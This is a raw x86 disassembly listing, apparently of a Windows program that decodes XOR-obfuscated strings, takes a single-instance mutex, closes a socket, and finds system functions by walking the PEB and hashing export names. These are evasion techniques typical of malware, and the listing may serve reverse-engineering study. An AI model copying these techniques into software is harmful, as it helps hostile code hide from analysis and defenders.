xor al, cl
xor al, bl
mov byte [ebp + edx - 0xd7], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 9
jb 0x484b42
push 0x56ebbc
lea edx, [ebp - 0xd7]
lea ecx, [ebp - 0x488]
call fcn.0048f290
add esp, 4
mov byte [ebp - 4], 0x22
mov ecx, eax
call fcn.0040ba70
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x488]
call fcn.0040b870
mov byte [ebp - 4], 0x1e
lea eax, [ebp - 0x488]
mov dword [ebp - 0x18], eax
mov byte [ebp - 4], 0x1e
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x4874ca
mov byte [ebp - 0xe0], 0x28
xor edx, edx
mov byte [ebp - 0xdf], 0x3a
mov byte [ebp - 0xde], 0x22
mov byte [ebp - 0xdd], 0x2f
mov byte [ebp - 0xdc], 0x45
mov byte [ebp - 0xdb], 0xb
mov byte [ebp - 0xda], 0xd
mov byte [ebp - 0xd9], 0x17
mov byte [ebp - 0xd8], 0x70
mov al, byte [ebp - 0xe0]
mov dword [ebp - 0x10], edx
nop word [eax + eax]
mov bl, byte [ebp + edx - 0xe0]
mov ecx, edx
and ecx, 0xf
mov eax, 0xbe160769
cmp ecx, 0xf
mov edx, 0x2e603141
cmovae ecx, esi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x69]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0xe0], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 9
jb 0x484c30
sub esp, 0x18
lea eax, [ebp - 0xe0]
mov ecx, esp
mov dword [ebp - 0x18], esp
push eax
call fcn.0040b750
mov byte [ebp - 4], 0x2c
mov byte [ebp - 4], 0x1e
call fcn.0042ff50
mov ecx, dword [0x571134]
mov eax, 0x2aaaaaab
sub ecx, dword [0x571130]
add esp, 0x18
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x484ce3
nop dword [eax]
push 0x65
call esi
mov ecx, dword [0x571134]
mov eax, 0x2aaaaaab
sub ecx, dword [0x571130]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
jne 0x484cc0
push 2
push dword [0x56eb3c]
mov byte [0x570f39], 1
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [0x56eb3c]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
nop word [eax + eax]
push 0x3f4
call esi
jmp 0x484d10
mov esi, dword [0x56eb44]
mov edi, dword [0x56eb40]
push 0
push 2
push esi
push edi
call fcn.005221b0
mov ebx, dword [0x56eb48]
sub ebx, eax
mov eax, dword [0x56eb4c]
mov ecx, ebx
mov dword [0x56eb48], ebx
sbb eax, edx
xor ecx, edi
mov dword [ebp - 0x14], eax
mov edx, eax
mov dword [0x56eb4c], eax
mov eax, esi
xor eax, edx
or ecx, eax
je 0x484d6b
add edi, ebx
mov dword [0x56eb40], edi
adc esi, edx
mov dword [0x56eb44], esi
test esi, esi
jl 0x484d84
jg 0x484d79
cmp edi, 0x186a0
jbe 0x484d84
xorps xmm0, xmm0
movlpd qword [0x56eb40], xmm0
mov byte [0x570f5d], 0
xor edx, edx
mov byte [ebp - 0x32], 0x8c
mov esi, 0xf
mov byte [ebp - 0x31], 0xf1
mov al, byte [ebp - 0x32]
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + edx - 0x32]
mov ecx, edx
and ecx, esi
mov eax, 0xd9b2ebfd
cmp ecx, esi
mov edx, 0x89aed71c
cmovae ecx, esi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx - 3]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x32], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 2
jb 0x484da0
lea ecx, [ebp - 0x4a0]
call fcn.004165f0
mov esi, eax
mov byte [ebp - 4], 0x33
push 0x28
push 0x7756c251
call fcn.00411d80
mov ebx, dword [0x56eb3c]
add esp, 8
mov edi, eax
mov byte [ebp - 4], 0x34
lea ecx, [ebp - 0x32]
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x484e10
sub ecx, edx
lea eax, [ebp - 0x32]
push ecx
push eax
mov ecx, esi
call fcn.0048d360
push eax
lea ecx, [ebp - 0x308]
call fcn.0040b700
mov esi, dword [ebp - 0x30]
lea edx, [ebp - 0x308]
sub esp, 0x18
or esi, 0x10
mov dword [ebp - 0x30], esi
mov ecx, esp
mov dword [ebp - 0x18], esp
push 0x56ebbc
call fcn.0048f3c0
add esp, 4
mov byte [ebp - 4], 0x35
mov byte [ebp - 4], 0x34
mov edx, edi
mov ecx, ebx
call fcn.0042f030
and esi, 0xffffffef
add esp, 0x18
mov edi, eax
mov dword [ebp - 0x30], esi
mov byte [ebp - 4], 0x36
lea ecx, [ebp - 0x308]
call fcn.0040b870
mov byte [ebp - 4], 0x33
lea eax, [ebp - 0x308]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x39
lea ecx, [ebp - 0x4a0]
call fcn.0040b870
mov byte [ebp - 4], 0x1e
lea eax, [ebp - 0x4a0]
mov dword [ebp - 0x14], eax
mov byte [ebp - 4], 0x1e
test edi, edi
jle 0x484f67
cmp byte [0x570f5d], 0
jne 0x484f67
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x20], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [edx + esi]
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x484f39
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x484f39
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x484f32
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x484f15
cmp esi, 0x2fa62ca8
je 0x484f3d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x484f00
mov eax, dword [eax]
jmp 0x484ed0
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x20]
push 0x64
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
cmp byte [0x570f5d], 0
je 0x484ec2
call fcn.00411d60
mov eax, dword [0x56eb40]
lea ecx, [ebp - 0x380]
xor dword [0x56eb48], eax
mov edx, 0x56eb74
mov eax, dword [0x56eb44]
xor dword [0x56eb4c], eax
call fcn.0042a420
mov byte [ebp - 4], 0x3c
lea eax, [ebp - 0x380]
push eax
lea ecx, [ebp - 0x1e0]
call fcn.0048ac50
mov byte [ebp - 4], 0x3d
cmp dword [0x56eb84], 0
jne 0x485036
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
nop
cmp dword [ebp - 0x1d0], 0
jne 0x485036
mov edx, 0x56eb74
lea ecx, [ebp - 0x538]
call fcn.0042a420
mov esi, eax
mov byte [ebp - 4], 0x3e
lea ecx, [ebp - 0x380]
push esi
call fcn.0048ab30
lea eax, [esi + 0x18]
push eax
lea ecx, [ebp - 0x368]
call fcn.0048ab30
mov byte [ebp - 4], 0x3d
lea ecx, [ebp - 0x538]
call fcn.0042eca0
lea eax, [ebp - 0x380]
push eax
lea ecx, [ebp - 0x1e0]
call fcn.0048ab00
push 1
push 0x802071e8
call fcn.00411ed0
add esp, 8
push eax
call edi
cmp dword [0x56eb84], 0
je 0x484fc0
push 0x553978
mov ecx, 0x56eb74
call fcn.0040ba70
push eax
call fcn.004fe0f0
add esp, 8
test eax, eax
je 0x485130
lea eax, [ebp - 0x258]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x240]
mov dword [ebp - 0x1c], eax
nop dword [eax + eax]
lea ecx, [ebp - 0x258]
call fcn.0040bbc0
mov byte [ebp - 4], 0x40
lea ecx, [ebp - 0x258]
push 1
push 0x55379c
call fcn.0040bb00
mov byte [ebp - 4], 0x41
lea ecx, [ebp - 0x240]
call fcn.0040bbc0
mov byte [ebp - 4], 0x43
lea ecx, [ebp - 0x240]
push 1
push 0x553978
call fcn.0040bb00
mov byte [ebp - 4], 0x44
lea eax, [ebp - 0x258]
push eax
lea edx, [ebp - 0x240]
mov ecx, 0x56eb74
call fcn.004114a0
add esp, 4
mov byte [ebp - 4], 0x45
lea ecx, [ebp - 0x240]
call fcn.0040b870
mov byte [ebp - 4], 0x41
lea eax, [ebp - 0x240]
mov dword [ebp - 0x14], eax
mov byte [ebp - 4], 0x48
lea ecx, [ebp - 0x258]
call fcn.0040b870
mov byte [ebp - 4], 0x3d
lea eax, [ebp - 0x258]
mov dword [ebp - 0x20], eax
mov byte [ebp - 4], 0x3d
mov ecx, 0x56eb74
push 0x553978
call fcn.0040ba70
push eax
call fcn.004fe0f0
add esp, 8
test eax, eax
jne 0x485070
mov byte [ebp - 0x37], 0xe2
xor edx, edx
mov byte [ebp - 0x36], 0xe4
mov edi, 0xf
mov byte [ebp - 0x35], 0xbb
mov al, byte [ebp - 0x37]
mov dword [ebp - 0x10], edx
nop dword [eax]
mov bl, byte [ebp + edx - 0x37]
mov ecx, edx
and ecx, edi
mov eax, 0xec92e0b9
cmp ecx, edi
mov edx, 0x210f6849
cmovae ecx, edi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx - 0x47]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x37], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 3
jb 0x485150
lea eax, [ebp - 0x470]
mov ecx, eax
mov dword [ebp - 0x18], eax
call fcn.0040bbc0
mov byte [ebp - 4], 0x4c
lea ecx, [ebp - 0x37]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4851a2
sub ecx, edx
lea eax, [ebp - 0x37]
push ecx
push eax
lea ecx, [ebp - 0x470]
call fcn.0040bb00
mov byte [ebp - 4], 0x4d
xor edx, edx
mov byte [ebp - 0x3a], 0xfb
mov byte [ebp - 0x39], 0xeb
mov byte [ebp - 0x38], 0xbb
mov al, byte [ebp - 0x3a]
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + edx - 0x3a]
mov ecx, edx
and ecx, 0xf
mov eax, 0xec92e0b9
cmp ecx, 0xf
mov edx, 0x210f6849
cmovae ecx, edi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx - 0x47]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x3a], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 3
jb 0x4851d3
lea eax, [ebp - 0x458]
mov ecx, eax
mov dword [ebp - 0x18], eax
call fcn.0040bbc0
mov byte [ebp - 4], 0x4f
lea ecx, [ebp - 0x3a]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x485227
sub ecx, edx
lea eax, [ebp - 0x3a]
push ecx
push eax
lea ecx, [ebp - 0x458]
call fcn.0040bb00
mov byte [ebp - 4], 0x50
xor edx, edx
mov byte [ebp - 0x3d], 0xf2
mov byte [ebp - 0x3c], 0xe8
mov byte [ebp - 0x3b], 0xbb
mov al, byte [ebp - 0x3d]
mov dword [ebp - 0x10], edx
nop dword [eax + eax]
mov bl, byte [ebp + edx - 0x3d]
mov ecx, edx
and ecx, 0xf
mov eax, 0xec92e0b9
cmp ecx, 0xf
mov edx, 0x210f6849
cmovae ecx, edi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx - 0x47]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x3d], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 3
jb 0x485260
lea eax, [ebp - 0x440]
mov ecx, eax
mov dword [ebp - 0x18], eax
call fcn.0040bbc0
mov byte [ebp - 4], 0x52
lea ecx, [ebp - 0x3d]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4852b4
sub ecx, edx
lea eax, [ebp - 0x3d]
push ecx
push eax
lea ecx, [ebp - 0x440]
call fcn.0040bb00
mov byte [ebp - 4], 0x53
xor edx, edx
mov byte [ebp - 0x40], 0xf1
mov byte [ebp - 0x3f], 0xfc
mov byte [ebp - 0x3e], 0xbb
mov al, byte [ebp - 0x40]
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + edx - 0x40]
mov ecx, edx
and ecx, 0xf
mov eax, 0xec92e0b9
cmp ecx, 0xf
mov edx, 0x210f6849
cmovae ecx, edi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx - 0x47]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x40], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 3
jb 0x4852e5
lea eax, [ebp - 0x428]
mov ecx, eax
mov dword [ebp - 0x18], eax
call fcn.0040bbc0
mov byte [ebp - 4], 0x55
lea ecx, [ebp - 0x40]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x485340
sub ecx, edx
lea eax, [ebp - 0x40]
push ecx
push eax
lea ecx, [ebp - 0x428]
call fcn.0040bb00
mov byte [ebp - 4], 0x56
xor edx, edx
mov byte [ebp - 0x46], 0xe5
mov byte [ebp - 0x45], 0xeb
mov byte [ebp - 0x44], 0xbb
mov al, byte [ebp - 0x46]
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + edx - 0x46]
mov ecx, edx
and ecx, 0xf
mov eax, 0xec92e0b9
cmp ecx, 0xf
mov edx, 0x210f6849
cmovae ecx, edi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx - 0x47]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x46], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 3
jb 0x485371
lea eax, [ebp - 0x410]
mov ecx, eax
mov dword [ebp - 0x18], eax
call fcn.0040bbc0
mov byte [ebp - 4], 0x58
lea ecx, [ebp - 0x46]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4853c5
sub ecx, edx
lea eax, [ebp - 0x46]
push ecx
push eax
lea ecx, [ebp - 0x410]
call fcn.0040bb00
mov byte [ebp - 4], 0x59
xor edx, edx
mov byte [ebp - 0x49], 0xfd
mov byte [ebp - 0x48], 0xf5
mov byte [ebp - 0x47], 0xbb
mov al, byte [ebp - 0x49]
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + edx - 0x49]
mov ecx, edx
and ecx, 0xf
mov eax, 0xec92e0b9
cmp ecx, 0xf
mov edx, 0x210f6849
cmovae ecx, edi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx - 0x47]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x49], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 3
jb 0x4853f6
lea eax, [ebp - 0x3f8]
mov ecx, eax
mov dword [ebp - 0x18], eax
call fcn.0040bbc0
mov byte [ebp - 4], 0x5b
lea ecx, [ebp - 0x49]
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x485450
sub ecx, edx
lea eax, [ebp - 0x49]
push ecx
push eax
lea ecx, [ebp - 0x3f8]
call fcn.0040bb00
mov byte [ebp - 4], 0x5c
xor edx, edx
mov byte [ebp - 0x4c], 0xfb
mov byte [ebp - 0x4b], 0xf6
mov byte [ebp - 0x4a], 0xbb
mov al, byte [ebp - 0x4c]
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + edx - 0x4c]
mov ecx, edx
and ecx, 0xf
mov eax, 0xec92e0b9
cmp ecx, 0xf
mov edx, 0x210f6849
cmovae ecx, edi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx - 0x47]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x4c], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 3
jb 0x485481
lea eax, [ebp - 0x3e0]
mov ecx, eax
mov dword [ebp - 0x18], eax
call fcn.0040bbc0
mov byte [ebp - 4], 0x5e
lea ecx, [ebp - 0x4c]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4854d5
sub ecx, edx
lea eax, [ebp - 0x4c]
push ecx
push eax
lea ecx, [ebp - 0x3e0]
call fcn.0040bb00
mov byte [ebp - 4], 0x5f
xor edx, edx
mov byte [ebp - 0x4f], 0xe4
mov byte [ebp - 0x4e], 0xfb
mov byte [ebp - 0x4d], 0xbb
mov al, byte [ebp - 0x4f]
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + edx - 0x4f]
mov ecx, edx
and ecx, 0xf
mov eax, 0xec92e0b9
cmp ecx, 0xf
mov edx, 0x210f6849
cmovae ecx, edi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx - 0x47]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x4f], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 3
jb 0x485506
lea eax, [ebp - 0x3c8]
mov ecx, eax
mov dword [ebp - 0x18], eax
call fcn.0040bbc0
mov byte [ebp - 4], 0x61
lea ecx, [ebp - 0x4f]
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x485560
sub ecx, edx
lea eax, [ebp - 0x4f]
push ecx
push eax
lea ecx, [ebp - 0x3c8]
call fcn.0040bb00
mov byte [ebp - 4], 0x62
xor edx, edx
mov byte [ebp - 0x52], 0xe5
mov byte [ebp - 0x51], 0xf0
mov byte [ebp - 0x50], 0xbb
mov al, byte [ebp - 0x52]
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + edx - 0x52]
mov ecx, edx
and ecx, 0xf
mov eax, 0xec92e0b9
cmp ecx, 0xf
mov edx, 0x210f6849
cmovae ecx, edi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx - 0x47]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x52], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 3
jb 0x485591
lea eax, [ebp - 0x3b0]
mov ecx, eax
mov dword [ebp - 0x18], eax
call fcn.0040bbc0
mov byte [ebp - 4], 0x64
lea ecx, [ebp - 0x52]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4855e5
sub ecx, edx
lea eax, [ebp - 0x52]
push ecx
push eax
lea ecx, [ebp - 0x3b0]
call fcn.0040bb00
mov byte [ebp - 4], 0x65
xor edx, edx
mov byte [ebp - 0x43], 0xf1
mov byte [ebp - 0x42], 0xeb
mov byte [ebp - 0x41], 0xbb
mov al, byte [ebp - 0x43]
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + edx - 0x43]
mov ecx, edx
and ecx, 0xf
mov eax, 0xec92e0b9
cmp ecx, 0xf
mov edx, 0x210f6849
cmovae ecx, edi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx - 0x47]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x43], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 3
jb 0x485616
lea eax, [ebp - 0x398]
mov ecx, eax
mov dword [ebp - 0x18], eax
call fcn.0040bbc0
mov byte [ebp - 4], 0x67
lea ecx, [ebp - 0x43]
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x485670
sub ecx, edx
lea eax, [ebp - 0x43]
push ecx
push eax
lea ecx, [ebp - 0x398]
call fcn.0040bb00
mov byte [ebp - 4], 0x68
lea eax, [ebp - 0x380]
lea ecx, [ebp - 0x470]
push eax
push ecx
lea ecx, [ebp - 0x508]
call fcn.00487890
mov byte [ebp - 4], 0x6a
lea eax, [ebp - 0x470]
push fcn.0040b6f0
push 0xa
push 0x18
push eax
call fcn.004e6a55
lea eax, [ebp - 0x1e0]
push eax
lea ecx, [ebp - 0x508]
call fcn.0048ff10
test eax, eax
je 0x4857da
mov byte [ebp - 0x18d], 0x7e
xor edx, edx
mov byte [ebp - 0x18c], 0x4d
mov byte [ebp - 0x18b], 0x63
mov byte [ebp - 0x18a], 0x5d
mov byte [ebp - 0x189], 0x49
mov byte [ebp - 0x188], 0x52
mov byte [ebp - 0x187], 0x5a
mov byte [ebp - 0x186], 0x2d
mov byte [ebp - 0x185], 0x24
mov byte [ebp - 0x184], 0x34
mov byte [ebp - 0x183], 0x25
mov byte [ebp - 0x182], 0x13
mov byte [ebp - 0x181], 0x3c
mov byte [ebp - 0x180], 0x2e
mov byte [ebp - 0x17f], 0x27
mov byte [ebp - 0x17e], 0x22
mov byte [ebp - 0x17d], 0x33
mov byte [ebp - 0x17c], 0x3a
mov byte [ebp - 0x17b], 0x47
mov al, byte [ebp - 0x18d]
mov dword [ebp - 0x10], edx
nop dword [eax]
mov bl, byte [ebp + edx - 0x18d]
mov ecx, edx
and ecx, 0xf
mov eax, 0x3c164c39
cmp ecx, 0xf
mov edx, 0xf37b7324
cmovae ecx, edi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x39]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x18d], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 0x13
jb 0x485770
push 0x553910
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x18d]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x4857da
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
call fcn.004300d0
call fcn.00430170
call fcn.00430210
call fcn.004302b0
cmp byte [0x571060], 1
jne 0x485f75
mov byte [ebp - 0x13c], 0x17
xor edx, edx
mov byte [ebp - 0x13b], 3
mov byte [ebp - 0x13a], 0x1a
mov byte [ebp - 0x139], 0x18
mov byte [ebp - 0x138], 0x26
mov byte [ebp - 0x137], 7
mov byte [ebp - 0x136], 0x18
mov byte [ebp - 0x135], 2
mov byte [ebp - 0x134], 0x1f
mov byte [ebp - 0x133], 0x15
mov byte [ebp - 0x132], 0x1a
mov byte [ebp - 0x131], 0x84
mov al, byte [ebp - 0x13c]
mov dword [ebp - 0x10], edx
nop word [eax + eax]
mov bl, byte [ebp + edx - 0x13c]
mov ecx, edx
and ecx, 0xf
mov eax, 0xc0e02c75
cmp ecx, 0xf
mov edx, 0xd7844be7
cmovae ecx, edi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x75]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x13c], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 0xc
jb 0x485860
lea eax, [ebp - 0x13c]
mov ecx, 0x571060
push eax
call fcn.0048f530
lea edx, [ebp - 0x56]
mov ecx, eax
call fcn.004a0f40
mov al, byte [ebp - 0x56]
xor edx, edx
mov byte [0x56eb3b], al
mov byte [ebp - 0xbc], 0x47
mov byte [ebp - 0xbb], 0x56
mov byte [ebp - 0xba], 0x44
mov byte [ebp - 0xb9], 0x4d
mov byte [ebp - 0xb8], 0x70
mov byte [ebp - 0xb7], 0x50
mov byte [ebp - 0xb6], 0x4e
mov byte [ebp - 0xb5], 0x21
mov al, byte [ebp - 0xbc]
mov dword [ebp - 0x10], edx
nop word [eax + eax]
mov bl, byte [ebp + edx - 0xbc]
mov ecx, edx
and ecx, 0xf
mov eax, 0xd2e67225
cmp ecx, 0xf
mov edx, 0xdc11f89e
cmovae ecx, edi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x25]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0xbc], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 8
jb 0x485910
lea eax, [ebp - 0xbc]
mov ecx, 0x571060
push eax
call fcn.0048f530
lea edx, [ebp - 0x57]
mov ecx, eax
call fcn.004a0f40
mov al, byte [ebp - 0x57]
xor edx, edx
mov byte [0x56eb55], al
mov byte [ebp - 0xc4], 0x47
mov byte [ebp - 0xc3], 0x56
mov byte [ebp - 0xc2], 0x44
mov byte [ebp - 0xc1], 0x4d
mov byte [ebp - 0xc0], 0x70
mov byte [ebp - 0xbf], 0x40
mov byte [ebp - 0xbe], 0x5a
mov byte [ebp - 0xbd], 0x21
mov al, byte [ebp - 0xc4]
mov dword [ebp - 0x10], edx
nop word [eax + eax]
mov bl, byte [ebp + edx - 0xc4]
mov ecx, edx
and ecx, 0xf
mov eax, 0xd2e67225
cmp ecx, 0xf
mov edx, 0xdc11f89e
cmovae ecx, edi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x25]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0xc4], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 8
jb 0x4859c0
lea eax, [ebp - 0xc4]
mov ecx, 0x571060
push eax
call fcn.0048f530
lea edx, [ebp - 0x5d]
mov ecx, eax
call fcn.004a0f40
mov al, byte [ebp - 0x5d]
xor edx, edx
mov byte [0x56eb3a], al
mov byte [ebp - 0x149], 0x47
mov byte [ebp - 0x148], 0x52
mov byte [ebp - 0x147], 0x45
mov byte [ebp - 0x146], 0x47
mov byte [ebp - 0x145], 0x7a
mov byte [ebp - 0x144], 0x59
mov byte [ebp - 0x143], 0x48
mov byte [ebp - 0x142], 0x42
mov byte [ebp - 0x141], 0x45
mov byte [ebp - 0x140], 0x46
mov byte [ebp - 0x13f], 0x5a
mov byte [ebp - 0x13e], 0x52
mov byte [ebp - 0x13d], 0x2c
mov al, byte [ebp - 0x149]
mov dword [ebp - 0x10], edx
nop dword [eax]
mov bl, byte [ebp + edx - 0x149]
mov ecx, edx
and ecx, 0xf
mov eax, 0x6e801721
cmp ecx, 0xf
mov edx, 0x1021d590
cmovae ecx, edi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x21]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x149], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 0xd
jb 0x485a90
lea eax, [ebp - 0x149]
mov ecx, 0x571060
push eax
call fcn.0048f530
lea edx, [ebp - 0x5e]
mov ecx, eax
call fcn.004a0f40
mov al, byte [ebp - 0x5e]
xor edx, edx
mov byte [0x56eb39], al
mov byte [ebp - 0x157], 0x97
mov byte [ebp - 0x156], 0x83
mov byte [ebp - 0x155], 0x98
mov byte [ebp - 0x154], 0x64
mov byte [ebp - 0x153], 0x52
mov byte [ebp - 0x152], 0x6f
mov byte [ebp - 0x151], 0x6a
mov byte [ebp - 0x150], 0x65
mov byte [ebp - 0x14f], 0x73
mov byte [ebp - 0x14e], 0x74
mov byte [ebp - 0x14d], 0x65
mov byte [ebp - 0x14c], 0x7c
mov byte [ebp - 0x14b], 0x7c
mov byte [ebp - 0x14a], 5
mov al, byte [ebp - 0x157]
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + edx - 0x157]
mov ecx, edx
and ecx, 0xf
mov eax, 0x814c66fd
cmp ecx, 0xf
mov edx, 0x8cfc6d65
cmovae ecx, edi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx - 3]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x157], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 0xe
jb 0x485b60
lea eax, [ebp - 0x157]
mov ecx, 0x571060
push eax
call fcn.0048f530
lea edx, [ebp - 0x55]
mov ecx, eax
call fcn.004a0f40
mov al, byte [ebp - 0x55]
xor edx, edx
mov byte [0x56eb54], al
mov byte [ebp - 0xe9], 7
mov byte [ebp - 0xe8], 0x1e
mov byte [ebp - 0xe7], 0xd
mov byte [ebp - 0xe6], 0xe
mov byte [ebp - 0xe5], 0x34
mov byte [ebp - 0xe4], 9
mov byte [ebp - 0xe3], 0x15
mov byte [ebp - 0xe2], 0xb
mov byte [ebp - 0xe1], 0x70
mov al, byte [ebp - 0xe9]
mov dword [ebp - 0x10], edx
nop dword [eax]
mov bl, byte [ebp + edx - 0xe9]
mov ecx, edx
and ecx, 0xf
mov eax, 0xbe160769
cmp ecx, 0xf
mov edx, 0x2e603141
cmovae ecx, edi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x69]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0xe9], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 9
jb 0x485c10
lea eax, [ebp - 0xe9]
mov ecx, 0x571060
push eax
call fcn.0048f530
lea edx, [ebp - 0x5f]
mov ecx, eax
call fcn.004a0f40
mov al, byte [ebp - 0x5f]
xor edx, edx
mov byte [0x56eb56], al
